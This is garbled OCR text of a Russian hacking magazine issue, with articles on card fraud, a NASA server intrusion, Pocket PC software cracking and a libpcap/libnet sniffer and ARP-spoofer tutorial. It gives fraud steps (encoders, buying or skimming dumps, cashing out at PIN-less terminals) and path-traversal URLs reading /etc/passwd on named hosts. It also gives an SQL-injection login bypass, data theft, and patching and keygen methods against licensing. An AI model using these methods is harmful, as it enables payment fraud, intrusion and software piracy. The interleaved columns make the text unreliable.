взломЧип, снятый с карты одного из банковЗелень, баксы... Не то, ради чего живет реальныйкардер за просторами сети...Внимание! Вседействия, описанные встатье противозаконны!Информация предоставленаисключительно сцелью ознакомления!Ни автор, ни редакцияза твои действия ответственностине несут!.Помни, что реал-кардингне доведет тебя додобра. Тебя все равнорано или поздно найдут.тически невозможно содрать с поверхности кредитки.С большинства же поддельных картонок отклеить голограммуне составляет труда, поэтому кардеры уделяютпристальное внимание этой проблеме.Так, о работе с пластиком я рассказал. Но от простокрасиво окрашенных карт толку мало, поэтому перейдемко второму этапу — записи данных на магнитную полосу.Для этого кардер приобретает энкодер — устройство длячтения и записи магнитной полосы карт. Энкодеры могутзаписывать 2 вида карт — high и low coercivity (высокой инизкой намагниченности). Лучше тот, который «понимает»любые карты.Энкодеры также делятся на 2 типа в зависимости отколичества записываемых дорожек (треков). Не старайсявыбрать именно тот энкодер, который записываетвсе 3 дорожки, так как третий трек не используется ниPOS-терминалами (за исключением редких случаев),ни банкоматами. Основную роль здесь играет втораядорожка. С ее помощью можно вручную создать первыйтрек на основе данных, имеющихся во втором. Обычноиспользуются именно эти две дорожки (первая ивторая). Третий трек, как правило, располагает на себекакую-либо дополнительную информацию, не имеющуюпринципиального значения (система скидок, бонусныеочки владельца креды и т.д.).Из популярных энкодеров могу отметить AMC C722 иMSR206. AMC C722 записывает и читает первые две дорожки,он прекрасно показал себя в «боевых» условиях.По цене он обойдется тебе в $800. После выбора и покупкиэнкодера преступнику необходимо раздобыть дампы,которые записываются на магнитные полосы картонок.Здесь есть 2 варианта:1. кардер покупает дампы у селлеров (людей, торгующихдампами кред);2. кардер самостоятельно добывает дампы.С первым вариантом, думаю, ясно. Берется некая суммавмз/еголд/etc, ищется человек/сервис по продаже дампов,и происходит закупка. А вот со вторым способом все намногоинтереснее. Здесь необходимо проявить смекалкуи каким-то образом считать скимером (устройством длячтения данных с магнитной полосы) кредитку кардхолдера.Известны случаи сговора с официантами в кафе/ресторане(гостиничными менеджерами), которые за определеннуюплату считывали скимером дампы с кредитных картпосетителей и передавали их киберпреступнику. Но обычнокардеры закупаются у селлеров и не парятся по этомувопросу. Получив дампы, они подрубают к компу энкодер,ставят нужный софт (который иногда идет в комплекте сэнкодером) и закатывают очередную картонку.есть свои нюансы. Если известен пин-код, то наиболееудобным способом является поход к банкомату. Но есличеловек закатывал на креду дамп, а пина (PIN) от карточкинет, то ситуация усложняется. Вариант с обналом вбанкомате отпадает сразу, так как там ввод пин-кода являетсяобязательным условием. Остается шопинг. Причемкардер ищет только те магазины, в которых установленыPOS-терминалы, не требующие пина. Отличить их можнопо отсутствию клавиатуры для набора пин-кода. Но, какпоказывает практика, в российских магазинах они встречаютсянечасто. Правда до сих пор работает система свыездом за границу для последующего отоваривания вбуржуйских шопах. Но для ее реализации нужны документы,билеты и отработанные схемы. Вообще говоря, такойшопинг является экстремальным в прямом смысле этогослова. Ведь неизвестно, что может ожидать человека вслучае неудачной транзакции: удивление кассира, вызовмилиции или полиции (за рубежом), звонок в банк и т.д.Как ни крути, но все варианты просчитать невозможно.Сижу за решеткой в темнице сырой...Как ты понял из моей статьи, реал-кардинг связан нетолько материальными вложениями, но и с колоссальнымриском. В последнее время участились случаи успешногозадержания кардеров сотрудниками МВД и ФСБ.Некоторые известные кардеры добровольно завершилисвою деятельность. А тебе я советую и не начинать.Кардинг — это кривая дорога, и шансов, что она приведеттебя к чему-то хорошему в жизни, очень мало. Чтобы небыть голословным, напомню о статье 187 УК РФ «Изготовлениеили сбыт поддельных кредитных, либо расчетныхкарт и иных платежных документов». По этой статьереально получить от двух до шести лет (или от четырех досеми, при наличии организованной группы). Подумай надосуге, что тебе дороже: красивая, но короткая жизнь наволе или свобода. Я думаю, выбор очевиден — свободадороже. zМагнитная полоса (реверс карты)На диске ты найдешьвидео по реал-кардингу.Собираем урожайПосле всех описанных выше действий преступникиприступают к третьему, самому ответственномупункту плана — обналичиванию или шопингу. Здесь/ 070xàêåð 12 /96/ 06


NASA.GOV на коленях>> взломВзлом сервера Национальной Космической Ассоциации СШАЛеонид «R0id» Стройков/ r0id@mail. ru /Государство всегда пытается скрыть определенную информацию от посторонних глаз. Раньше для этого использовалисьспециальные защищенные архивы и хранилища, доступ к которым имел только узкий круг лиц.Сейчас же, с развитием сетей и технологий, большая часть данных перекочевала на серверы государственныхресурсов. Не стоит и говорить, что их безопасностью занимаются профессионалы, деятельность которых четкоконтролируется спецслужбами страны. Но какой бы совершенной ни была защита, всегда найдется тот, ктосможет ее обойти и попасть в самое сердце ресурса. И в этот раз таким человеком оказался я, R0id, проникнувна серверы Национального аэрокосмического агентства США (NASA).Америка, где так красиво,но Россия — вот где силааветной мечтой многих русскихЗ (и не только =)) хакеров являетсявзлом серверов Пентагона, ЦРУ,ФБР или NASA. И неудивительно,ведь эти государственные ведомстваСША известны во всем мире. Они хранят «взастенках» своих сетей гигабайты секретнойинформации. Проблема лишь в том, что получитьдоступ к ней не сложно, а очень сложно.Но, как говорится, нет ничего невозможного.Поэтому одним из вечеров, вернувшись изинститута, я решил немного поиграть… Нет,не в Контру и не в Warcraft (не умею, если честно)— я решил поиграть с серверами NASA.Объект был выбран не случайно. Меня всегдаинтересовало Американское аэрокосмическоеагентство с их программами и исследованиями.Кроме того, мне хотелось личноубедиться в защищенности их ресурсов.Включив ноутбук и запустив Оперу, я зашелна официальный сайт NASA (www.nasa.gov), и черезнесколько секунд моему взору предсталвесьма симпатичный портал, обвешанныйразличными фотками и картинками. Пройдяпо паре ссылок и убедившись, что ресурснаполнен html‐страницами, я закрыл окнобраузера и задумался. Конечно, было бынаивно искать баги на сайте Национальногоаэрокосмического агентства США. Скореевсего, там уже все проверили до меня,с одной стороны, security-эксперты, с другой,— хакеры. Но я и не ждал легкой прогулки.Первым делом нужно было найти надежныйсокс. Я выбрал один из поломанных мнойсерверов в Европе и залил туда socks‐серверBouncer, после чего запустил его, предварительноуказав порт. Теперь можно былоИюнь 1986 годаМарт 1997 годаМарт 2001 годаЕвропейские хакеры, заранее предупредив специалистов NASA, проникли влокалку агентства и подкорректировали орбиту новейшего ретрансляционногоспутника стоимостью несколько миллионов долларов, доведя программистовNASA до предынфарктного состояния. Спутник как-то удалосьвырвать из рук хакеров, а европейские каналы связи NASA после этого былинаглухо замурованы. Посягнувших на спутник товарищей так и не поймали, иих реальные имена до сих пор неизвестны.Самый первый взлом главногосервака www.nasa.gov. Негодяине только сломали сайт, но исделали дефейс с поздравительнымпосланием в космос.Что примечательно, хакеровтакже до сих пор не нашли :).Пятнадцатилетний хакер ломанул2 домена в подсети NASA:jpl.nasa.gov и gsfc.nasa.gov.Сломал, спионерил секретнуюинформацию и... попал в тюрьму.Несмотря на совсем юныйвозраст, парню дали 5 лет./ 072xàêåð 12/96/ 06


взломА вот и ось =)Скрипт подвержен локальному инклудуначинать. При обычном раскладе я не задумываясьотправился бы на www.domaintools.comили www.domainsdb.net для получениясписков доменов. В этом случае шансов быломало, но попробовать стоило. Как и ожидалось,на обоих ресурсах меня обломали,сообщив, что по NASA они информации неимеют =(. Что же, этого стоило ожидать. Тогдая решил воспользоваться Гуглом, благо этотпоисковик не подводил меня еще ни разу.Зайдя на www.google.com, я вбил в формочкупоиска запрос вида «inurl: nasa. gov»и нажал Enter. Передо мной появились ссылкина различные насовские поддомены. Надосказать, что их количество несколько удивиломеня. Качественно переработать вручнуютакое число сайтов было просто нереально.Но все же перед запуском массового сканированиямне хотелось осмотреть «пациентов».Я выбрал несколько приглянувшихсямне доменов и занялся изучением ресурсов.Большинство из них не содержало ничего,кроме html‐страниц, что не могло не огорчать.Но временами попадались ресурсы, использующиеasp-движок, еще реже мелькалиперл‐скрипты. Побродив часок по линкам,я вспомнил про неправильно выставленныечмоды (права на доступ к директориям) и решилпопытать удачу здесь. Вновь открыв Гугл,я набрал «inurl:nasa.gov/admin», после чего нажал«Search». Поисковик послушно выдал мнелистинг сайтов, имеющих директорию /adminи находящихся в доменной зоне nasa.gov.Некоторые из них приведены ниже:http://gcn.gsfc.nasa.gov/admin/— Access forbidden! (Error 403)http://nssdcftp.gsfc.nasa.gov/admin/stats/ — statshttp://pds-imaging.jpl.nasa.gov/Adminhttp://spacescience.nasa.gov/adminhttp://pwg.gsfc.nasa.gov/istp/adminУвы, перейдя по первой же ссылке, я получилот ворот поворот: «Access forbidden».С остальными была аналогичная ситуация, заисключением http://nssdcftp.gsfc.nasa.gov,но и здесь в доступе лежал один мусор. Просмотреввесь перечень сайтов и оценив егообъем, я оставил эту затею. Вместо этого я зашелна www.nasa.gov и собрал с него ссылкина домены, предположительно располагающиесяна этом же сервере. Далее, запустивIntelliTemper (который я уже описывал в «X-Tools») на поиск веб-директорий, я отошелот компа. Через несколько часов сканеризвестил об окончании своей работы. Насталовремя разгребать огромный лог. Я сразузаметил несколько линков с директориями,которые могли служить админкой, и по очередистал осматривать их. Внезапно при заходена очередной урл (http://spaceflight.nasa.gov/admin) моему взору предстала, пожалуй, однаиз самых желанных надписей: «HSF AdminTools». По началу я подумал, что это какая‐тошутка админа или просто внешний видинтерфейса, не требующий авторизации. Нопроверив разделы меню, я убедился, что этодействительно админка. Такого хода событийя не ожидал, но, как говорится, «заходи тихо,бери много, уходи быстро». Руководствуясьэтим правилом, я приступил к ознакомлениюс админской панелью. Всего в меню располагалось6 пунктов: FTP Upload Utility, Collect DataFiles, View Databases, Change Shuttle MissionSoft Links, Alias Database Tool, Ask MCC. Особыйинтерес вызвал раздел FTP Upload Utility,который, судя по названию, существовалдля аплоадинга файлов на сервер. К сожалению,это оказалось не так :(, я мог всеголишь просматривать содержимое каталоговна сервере. Но меня обрадовало то, что былоразрешено выходить за пределы веб-директорий,то есть я свободно читал /etc, /home и т.д.Пройдясь по остальным разделам админки,я не нашел ничего интересного, кроме функцииView Databases. Обнаруженные базы гостевойкниги и каких‐то отчетов, содержащиеприличное количество e-mail-адресов, сразупереместились ко мне на винт =). За окномуже светало, и я закрыл браузер. Как ни крути,но удача на этот раз улыбнулась мне. Правдапользы от просмотра каталогов на серверебез возможности чтения файлов не много.Поэтому нужно было срочно искать выход изсложившейся ситуации. И я нашел его.Прорыв по флангуСамый удобный способ чтения файловпри возможности просмотра содержимогодиректорий — это инклуд. На удаленныйинклуд рассчитывать не приходилось, а вотлокальный я решил поискать. Еще просматриваянасовские поддомены, на некоторыхсайтах я заметил наличие перл‐скриптов.При удачном раскладе, грамотном подходеи определенной степени криворукости вебпрограммистовиз NASA, шансы на успешныйисход резко возрастали. Поэтому я вновьобратился к своему любимому поисковику(Гуглу) и вбил следующий запрос: «inurl:nasa.gov filetype:dat». Я надеялся, что найдетсяхотя бы один скрипт, инклудящий файл с расширениемdat. Гугл вернул мне результат,и я начал вглядываться в линки. Первой наглаза попалась ссылка вида:http://ats.gsfc.nasa.gov/ats3/jumpspace/printjumpspace.asp?isСентябрь 2001 годаФевраль 2003 годаМарт 2003 годаОктябрь 2006 годаДвадцатилетний хакер похакалмногострадальный jpl.nasa.gov иполучил 4 месяца тюрьмы. Кромеэтого, беднягу заставили заплатить$4000 в пользу NASA. Лучшебы баги фиксили, а не тянулиденьги с бедных студентов...После крушения шаттла Columbiaамерикосы заявили, что в этомвиноваты хакеры. Якобы компьютер,управляющий кораблем, былподключен к интернету, и его быстрополомали. Странно, но никаких следоввзлома обнаружить не удалось.Неизвестный хакерюгасломал целых 9 серверовNASA, оставив на главныхстраницах послание.Его текст можно прочитатьна www.securitylab.ru/news/212838.php.Неустановленные товарищи обокрали директорамосковского представительства NASA при Центреподготовки космонавтов. Им удалось ворватьсяв квартиру и стащить 4 ноута и 1 настольныйкомпьютер :). По оценке правоохранительныхорганов, ущерб составил более 720 тысяч рублей.Реальных «хакеров» так и не нашли.xàêåð 12/96/ 06/073


взломВнимание! Все действия,описанные в статьепротивозаконны!Информация предоставленаисключительно сцелью ознакомления!Ни автор, ни редакция затвои действия ответственностине несут!На нашем DVD тымог бы найти архив синформацией, слитой снасовского сервера. Ноне найдешь :).compare=true&autoprint=true&prnFile=Edit_Spacecraft.datНо, во‐первых, скрипт был написан на ASP, а во‐вторых,он жестко фильтровал все входящие данные. Просмотревеще с десяток урл, я уже собирался перевести идеюв разряд безнадежных, когда заметил такой линк:www.espo.nasa.gov/ave-polar/schedule_viewer.cgi?pic=02_07_daily_schedule.datДрожащими от волнения руками я заменил значениепараметра pic:http://www.espo.nasa.gov/ave-polar/schedule_viewer.cgi?pic=../../../../../../../../etc/passwdПосле обновления страницы я увидел не пустой экрани не редирект на страницу ошибок, а содержимоефайла passwd. В течение минуты я пребывал в состояниишока. Затем быстро осмотрел сайт www.espo.nasa.gov и обнаружил, что он находится на одном серверес http://cloud1.arc.nasa.gov, который тоже содержитбажный скрипт:http://cloud1.arc.nasa.gov/intex-b/schedule_viewerDC8.cgi?pic=../../../../../../../../proc/versionТаким образом, я получил информацию об ОС, стоящейна сервере:Linux version 2.6.16.21‐0.13‐default (geeko@buildhost)(gcc version 4.1.0 (SUSE Linux))#1 Mon Jul 17 17:22:44 UTC 2006Официальный сайт NASAhttp://www.espo.nasa.gov/ave-polar/schedule_viewer.cgi? pic=../../../../../../../../etc/hosts.Админ пропатчил скрипт. Уязвимости больше не существовало.Минуты две я думал о смысле жизни, послечего, собравшись с мыслями, загрузил админку.На мое удивление, она по‐прежнему работала.Так как все пути мне отрезали, я решил детальноизучить содержимое директорий при помощи админкина сервере, хостящем www.nasa.gov. Сначалая просмотрел каталог /home. В нем находились дведиректории: etouch и rlancaster. Первая ссылалась на/u01/home/etouch, а для просмотра второй не хваталоправ. Как выяснилось позже, в /u01/webData лежали всесайты, находящиеся на сервере. Там были и www.nasa.gov, и два десятка других ресурсов. Я спокойно мог просматриватьсодержимое почти всех каталогов, включаяwww.nasa.gov. Но этого было мало. Мне хотелось слитьдокументы, лежащие за пределами веб-директорий.Но пока такой возможности я не имел. Спустя время,я заметил, что в каталоге, где располагается админка,присутствует набор различных перл‐скриптов. Большаячасть из них не работала, но один привлек мое внимание.Это был скрипт cpputFiles.cgi. При обращении к немутребовалось ввести какое‐то слово, по‐видимому,выполняющее функцию пароля. Все данные передавалисьpost-методом. Попробовав пару стандартных пассов,я ничего не добился. А при подстановке символаодинарной кавычки, скрипт возвращал чистый лист.Это обстоятельство заинтересовало меня, и я заполнилформу таким образом:' or 1=1/*Я тут же залез в админку, которую нашел еще до обнаруженияинклуда, и выбрал оттуда путь к одному изфайлов. Но при попытке прочитать содержимое этогофайла бажный скрипт выдал чистый лист. Оказалось,что админка и уязвимый перл‐скрипт находятся на разныхсерверах :(. То есть я опять лишался возможностичтения файлов на сервере, хостящем основной доменwww.nasa.gov.Такого облома я никак не ожидал. Расстроенный, я выключилноутбук и лег спать.Облом или удачаПроснулся я от звона будильника. Глянув на часы,тут же сел за стол, придвинув ноут, — пора было продолжатьвзлом. Раз уж мне удалось устроить чтениедиректорий на одном сервере, а файлов — на другом,то стоило прощупать обе машины. Но, зайдя по ссылкеhttp://cloud1.arc.nasa.gov/intex-b/schedule_viewerDC8.cgi?pic=../../../../../../../../etc/hosts, я вдруг обнаружил, чтобаг был закрыт! Аналогичный результат выдал запросСкрипт проглотил мой запрос, и я оказался внутри!Опять состояние шока, на этот раз оно длилосьсекунд 30. Но что меня поразило, скрипт позволялкопировать данные из директории в директорию!Поразмыслив, я решил скопировать нужные мнефайлы в веб‐каталоги и затем просто скачать их черезбраузер. К сожалению, моих прав не хватало длякопирования всей интересующей информации,но возможностей и без этого было предостаточно.Через несколько часов я закончил работу, слив частьдоков.Я лежу пластом на хирургическом столе…Вот так развивались события. Надо сказать, что админыоперативно закрыли почти все дыры, удалив и самскрипт. Но дела это не меняет — баги были. И были онив NASA!Напоследок хочу передать привет всем жителямСША, а также американским спецслужбам. Не скучайте,ребята, то ли еще будет =)! z/ 074xàêåð 12/96/ 06


Карманноерукоприкладство>> взломgoabruce & porosenok/ goabruce@beesoftware.ru/Взлом программ для КПК Pocket PC«Я достаю из широких штанин…» мой маленький КПК. Запускаю прогу и вижу надпись: «Trial period is expired!».Давай посмотрим, что можно с этим делать.Всередине 80‐х годов прошлоговека мой друг приобрел персональныйкомпьютер. Это былЕС 1841 — шедевр советскогоплагиата. В комплект входили: процессорныйблок размером 900х900х200 мм, в которомстояли камень Intel 8088 на 4 МГц, 640 Кбоперативки, 2 флоповода на 5,25" и винт аж на4 Мб; блок питания (точно такого же размера,как и процессорный блок); телевизор CGAс разрешением 320х240 и с 16 цветами (новидюха могла отображать только 4 цвета изшестнадцатицветной палитры). В те временаэто был предел мечтаний, и мы сгорали отзависти. Про цену вообще стыдно было спрашивать.Сейчас же у меня в кармане лежитHP Jornada 565 размером 132x77x17 мм,который примерно в 100 раз быстрее ЕС 1841.Да уж, мобильные устройства прочно оселив нашей жизни. Уже никого не удивишь карманнымкомпьютером с процессором 600 МГци экраном 640х480, с поддержкой Bluetooth,WiFi, 3D и т.д.По быстродействию КПК уверенно приближаютсяк большим собратьям. На них можнопосмотреть новый фильм, почитать интереснуюкнигу или поиграть в какой‐нибудьновый квест — да и вообще, можно делатьвсе, лишь бы был нужный софт, а добра этогона разных интернет‐свалках хватает. Однатолько беда — почти весь софт являетсяплатным и цена некоторых программ доходитаж до нескольких сотен зеленых президентов.У честного русского человека таких денег нет,по крайней мере, на софт :). Да и большинствоприложений явно не тянут на такую цену.Поэтому не скоро еще «зарастет народнаятропа» на крякерские сайты. Все бы ничего,да вот только количество софта растет не подням, а по часам, и «труженики ножа и топора»просто не успевают их ломать, так какне всегда можно найти нужное лекарство отжадности для новенькой проги. Я надеюсь, тыпонял, к чему я веду. Правильно! У нас и своихмозгов хватит. В конце концов, не боги горшкиобжигают. В этой статье я рассмотрю КПК,работающие под управлением операционныхсистем семейства Windows Mobile. PalmOSи Symbian оставим на потом.ЛикбезСразу хочу предупредить, что весь материалэтой статьи дается в исключительно ознакомительныхцелях для тех, кто пишет илисобирается писать софт для КПК, в качественапоминания о том, как нельзя защищатьсвои программы. Использование материаловстатьи в иных, в частности противозаконных,целях является уголовным преступлением.Никакой ответственности за возможноеприменение этой информации на практикеавтор не несет.Итак, ты, наверное, слышал, что все современныеКПК используют ARM-процессоры,которые имеют RISC-архитектуру, в отличиеот обычных ПК, процессоры которых имеютCISC-архитектуру. Этому можно было бы непридавать значения, но ARM-процессорыимеют совсем другую систему команд и,/ 076xàêåð 12/96/ 06


взломПервый подопытный — незарегистрированнаяверсияВторой подопытный — стартовый диалоги диалог ввода регистрационного кодаilasm идетвместе с .netFramework— ищи в папкеWINDOWS\Microsoft .NET\Framework\поехали. Ты, наверное, уже догадываешься,что это приложение написано под .net.Поэтому мне будет нужен дизассемблер.Я буду использовать ildasm, ilasm и Reflector.С помощью первых двух можно дизассемблироватьисходную программу в il-инструкции,поправить ее и затем заново откомпилировать.Мне они понадобятся для определенияместоположения интересующих меня команд,просмотра их опкодов и шестнадцатеричныхзначений. Также я буду использоватьReflector, он способен восстановить исходныйкод приложения на любом из языков, позволяющихписать под .net, а именно VC++,C#, Visual Basic, Delphi и IL. Возможно, кто‐тоскажет, что это лишняя работа и можно обойтисьодним рефлектором. Пусть этот кто‐тоидет лесом — это обучалка, а не мастеркласс.Чтобы не путаться в куче проводов, всесвои опыты я буду проводить на эмулятореPocketPC. Когда будешь химичить сам, помимоэмулятора, не забудь установить MicrosoftActiveSync. Для того чтобы связать эти двепрограммы вместе, необходимо выполнитьследующие действия:• запустить ActiveSync (он сразу появитьсяв трее);• открыть Device Emulator Manager (по умолчаниюон находится в каталоге C: \ProgramFiles\Microsoft Device Emulator\1.0\);• в Device Emulator Manager выбрать «PocketPC 2003 SE Emulator», затем в меню выбрать«Connect»;• после того как откроется окно эмулятора,в Device Emulator Manager выбрать соединениеCradle; делается это в контекстном менюпри помощи клика правой кнопкой по «PocketPC 2003 SE Emulator»./ 078После выполнения всех перечисленных вышедействий программы автоматически соединятся.Теперь можно приступать непосредственнов нем функцию UnHash. Она располагаетсяпочти в конце файла и обнаруживается позначению 0xb7dc, это ее RVA. Теперь вернуськ установке приложения. Эта процедура в КПК к рефлектору и посмотрю на функцию UnHashне сильно отличается от таковой в ПК :). в нем. В конце этой функции есть строка:Запустив уже установленное приложение,я читаю диагноз. В нем говорится, что больной text1.Trim (" ".ToCharArray());проживет максимум 15 дней, если не датьему лекарство :(. Регистрация приложения Заменю ее:осуществляется вводом 16‐символьногоключа. Смотрю, что внутри у этой программы, return "mBlueSche"открыв ее в рефлекторе. Сразу бросаютсяв глаза пространство имен SlipstreamSolutions. Для этого снова вернусь к дизассемблированномудампу. Все строки хранятся в одномMyRegistration и 2 метода, находящиеся там:Hash (String): String и UnHash (String): String. месте программы (блок «User Strings»). МнеНо я пока оставляю их и смотрю дальше. нужно найти строку подходящей длины,Следующее, что может меня заинтересовать, исправить ее и затем в инструкции ldst указать— это обработчик нажатия кнопки «Register», ее идентификатор. Например, строка «picIcon.он называется «btnRegister_Click (Object, Image» вполне подойдет, ее идентификаторEventArgs): Void». Обработчик достаточно — 70000067. Теперь ее нужно заменить:прост, он собирает введенный код в однустроку и передает его функции UnHash. Затем, "mBlueSche"если длина строки, полученной после UnHash,будет больше «mBlueSche» (условие № 1) При этом важно не забывать о пробелах, а такжео том, что это уникод. Теперь приступаюи будет начинаться с «mBlueSche» (условие№ 2), можно увидеть поздравления. Автор к замене:также оставил в приложении функцию Hash,вероятно, чтобы доброжелатели не мучались text1.Trim (" ". ToCharArray());с взломом программы :). Но я не ищу легких путей,поэтому не буду пользоваться оставленной Заменяю строкой:лазейкой. Я просто пропатчу дизассемблируюпрогу с помощью ildasm, но не правкой одного return "mBlueSche"байта, а исправлением функции UnHash, чтобыона всегда возвращала строку «mBlueSche» Оставшиеся байты до инструкции leavesс несколькими пробелами в конце (для удовлетворенияусловию № 1). Теперь я делаю ее всех проделанных действий можно приступатьIL_01c8 поменяю на 00 (это код nop'a). Последамп, то есть дизассемблирую, выбрав в меню к регистрации. Ввожу любой регистрационныйсоответствующий пункт, при этом выставляю номер, в результате чего программа перестаетвсе галочки. Итак, дамп готов. Теперь найду отсчитывать дни до своей кончины :).xàêåð 12/96/ 06


взлом«Не буду ходить вокругда около, а скажу сразу,что самое удобноесредство для ковырянияв Portable executable forARM — это IDA»Подопытный № 2 (keygen)Патч подходит, когда важен не процесс,а результат. Но ты ведь уже что‐то начинаешьпонимать в кряке, поэтому вершинатвоего мастерства — кейген. Установивпрограмму и запустив ее, видим, что прогабудет работать только 7 дней, при этомрегистрация происходит по схеме «Имявладельца/Код». Что же, открываю ужеполюбившийся рефлектор и в течение пятичасов ищу обработчик кнопки «ОК», которуюнажимает пользователь. Шутка :)!На это ушло не более 30 секунд и пятикликов мышки — функция btnOK_Click.Все достаточно примитивно. Есть функцияпроверки кода на валидность IsRegKeyOK,которая получает имя пользователя и код.Можно, конечно, сразу пропатчить, новедь я решил написать кейген, поэтомусмотрю функцию IsRegKeyOK. Алгоритмне сложный, но разбираться лень. Простоберу и копирую текст функции от начала досравнения строк «text1» и «Code», создаюсвой проект, а в нем — новую функцию,которая будет возвращать строку, и затемпросто вставляю в нее скопированныйтекст. Ну, а все остальное, думаю, если захочешь,ты сможешь сделать сам. А если незахочешь, просто посмотри на последнееусловие программы: должно быть, автор— полный дегенерат, если оставил заднююдверь открытой.Подопытный № 3 (кейген)Не буду ходить вокруг да около, а скажусразу, что самое удобное средство дляковыряния в Portable executable for ARM— это IDA. А если к нему добавить плагинwince_remote_arm, позволяющий отлаживатьприложения для КПК, то ему вообщецены не будет. Я слышал про чудаков,которые используют Mirosoft EmbeddedVisual C++ для отладки и анализа кода, но,xàêåð 12/96/ 06/говорят, они скоро вымрут :). Для следующихисследований мне также понадобитсясвязка Microsoft Device Emulator & MicrosoftActiveSync. Как обычно устанавливаюприложение. Пробую его запустить — приложениесообщает, что будет жить 7 дней.Регистрация при этом происходит по схеме«FirstName/LastName/RegistrationKey». Послеввода произвольных данных передо мнойна экране появляется обычный MessageBoxсо строкой «Code is incorrect». Далеекопирую приложение на ПК и открываю егов IDA, предварительно выбрав тип приложенияPocket PC ARM Executable. После тогокак IDA завершит анализ кода, ищу строку«Сode is incorrect». Для этого нужно нажатьShift+F10. После непродолжительныхпоисков нахожу строку «Code is incorrect»,которая вызывается всего один раз по адресу.text:00022294. Посмотрев внимательнона код, можно заметить, что переход на этучасть программы осуществляется с адреса.text:0002226C, если в R0 находится значение,отличное от -1. Следовательно, поблизостидолжен быть блок, осуществляющийпроверку введенного кода и возвращающийрезультат проверки. Этим блоком являетсяфункция sub_11A08, вызов которойосуществляется по адресу .text:0002225C.Смотрю, как и что делает эта функция, длячего запускаю программу под отладчиком,предварительно поставив бряк, с помощьюF2 по адресу. text:0002225C. Для того чтобызапустить отладку, достаточно нажатьF9. IDA попытается найти приложениена удаленном компьютере (еслиона его не обнаружит, то предложитскопировать его туда). Пробую зарегистрироваться,введя данные: Cracker, Cracker,111222. Вот я и остановился по адресу0002225C. Посмотрю, что приэтом находится в регистрах, дляэтого мне понадобится окно «Generalregisters». В R1 передается адрес0006E5E8, который указывает на строку«CRACKERCRACKER», то есть FirstNameи LastName передаются одной строкой.В регистре R5 находится адрес 0006E580,по которому располагается достаточноинтересная последовательность символов:0x17\0x17\0x17\0x14\0x14\0x14. Возможно,она имеет какое‐то отношение к проверкевведенных данных, но не буду торопитьсяс выводами. В остальных регистрах нетничего интересного. Теперь захожу в функциюпо F7 и выясняю истину. Функция имеетдостаточно малый размер. Она не делаетничего особенного, кроме проверки того,чтобы строки, переданные через R1 и R5,были не нулевой длины, и посимвольнойпроверки строк, переданных через R1 и R5.Следовательно, строка «0x17\0x17\0x17\0x14\0x14\0x14» — это каким‐то образомизвращенный код 111222, и моя задача— отследить место формирования этойстроки и понять алгоритм ее формирования.Для этого ставлю бряк по адресу00022190 (листинги ищи на нашем DVD)и снова пробую зарегистрироваться.Дохожу до .text:000221C0 и попадаю в интересныйцикл, который делает буквальноследующее:1. берет первый символ введенного кода;2. ксорит на 0x26;3. переходит к следующему символу и, еслине конец строки, переходит на пункт 2.Вот и вся защита. Теперь проверяю это,ксорю строку «CRACKERCRACKER» на0x26, получаю следующий результат— «etgemctetgemct». Ввожу и получаюпоздравления.ВыводыИтак, какие же можно сделать выводы?А выводы весьма печальные — несмотря навысокотехнологичность всех современныхкарманных компьютеров, лицензионнаязащита программного обеспечения дляних практически отсутствует. Приведенныевыше примеры приложений взяты произвольно,помимо них, я исследовал е щ еш т у к 3 0 , и в е з д е у р о в е н ь з а щ и т ыбыл примерно такой же. Из всех рассмотренныхмною прог ни одна не была запакована,хотя говорят, что есть какие‐топаковщики. Разработчикам есть, над чем задуматься.Как говорится, семь раз протесть,один раз продай. z079


Создаем продвинутыйбоевой софт!>> взломИван Скляров/ Sklyarov@real.xakep.ru,www.sklyaroff.ru /Библиотеки libpcap и libnet в действииНа библиотеках libpcap и libnet работают тысячи знаменитых программ, таких как сканер nmap, сниферы tcpdumpи Ettercap, система обнаружения атак Snort. Автором библиотеки libnet является бывший редактор легендарногоэлектронного журнала Phrack — Route (Mike Schiffman). А в 55-м номере Phrack библиотеке libnet была посвященаотдельная статья, которая вызвала большой резонанс среди читателей. Что же такого примечательногов этих библиотеках? Вот об этом я тебе сейчас и расскажу, а еще научу писать программы с их использованием.ibpcap и libnet — это разныеL библиотеки, предназначенныедля разных задач и созданныеразными авторами, но, пометкому выражению Майка Шифмана, ониявляются братьями (или сестрами). Библиотекаlibpcap предназначена для извлечения пакетов из сети и их анализа. Библиотека libnetиспользуется для обратного действия — длягенерации пакетов произвольного форматаи отправки в сеть. Библиотека libpcap (PacketCapture library) была создана Ван Якобсоном(Van Jacobson), Крегом Лерисом (Craig Leres)и Стивом Маккеном (Steve McCanne). Твояпрограмма может задействовать либо толькоодну из этих библиотек, либо сразу обе.Все прелести libnet & libpcapЧтобы осознать всю прелесть этих библиотек,нужно попробовать программировать без них.Я попробовал, поэтому могу поделиться опытом.Допустим, тебе нужно написать снифер с поддержкойфильтрации пакетов, позволяющейзадавать протокол, порт, IP-адрес, флаги иликакие‐либо другие данные пакетов, которыетребуется захватывать. Создание в программеполноценного фильтра может занять неодин день или даже месяц. С использованиемже библиотеки libpcap мощный фильтр,сравнимый с тем, что присутствует в утилитеtcpdump, встраивается в программу буквальнос помощью нескольких строчек кода.Другой пример. Тебе нужно написать сканерпортов с поддержкой SYN-, FIN-, X-mas-,Null-, ACK- и UDP‐сканирования. Для этогонеобходимо самостоятельно формировать изаполнять поля заголовков сетевых пакетов,рассчитывать контрольные суммы и т.д.С библиотекой libnet все значительно проще:CRC и основные поля она заполнит сама, аподробные мануалы, которые идут вместе сбиблиотекой, помогут тебе подобрать оставшееся.Не жизнь, а просто сказка!У библиотек libpcap и libnet есть еще одинбольшой плюс — они реализованы длямногих операционных систем, в том числе дляWindows, поэтому программа, основанная наэтих библиотеках, будет переносимой.Теперь рассмотрим, как работать с каждой изэтих библиотек в отдельности.Мы напишем 3 учебных программы: пассивныйснифер с поддержкой библиотекиlibpcap, ARP‐спуфер с поддержкой библиотекиlibnet и простой сканер портов, использующийсразу обе эти библиотеки. Все исходникиты найдешь на DVD к журналу.Перед началом работы библиотеки должныбыть установлены в системе. В этом нетничего сложного. В *nix‐системах библиотекиlibpcap и libnet обычно идут с установочнымидистрибутивами. В Windows в среде MicrosoftVisual C++ после установки библиотек тебепонадобится выполнить настройку переменныхсреды для обеспечения возможностикомпиляции программ. В самих архивах с библиотекамиидут мануалы с описаниями всехфункций, заголовочных файлов и т.д. — к нимтебе следует обращаться за всеми деталями.Я писал и тестировал все примеры программдля этой статьи только под Linux.Пассивный снифер с использованиембиблиотеки libpcapВо всех программах, которые используютбиблиотеку libpcap, должен 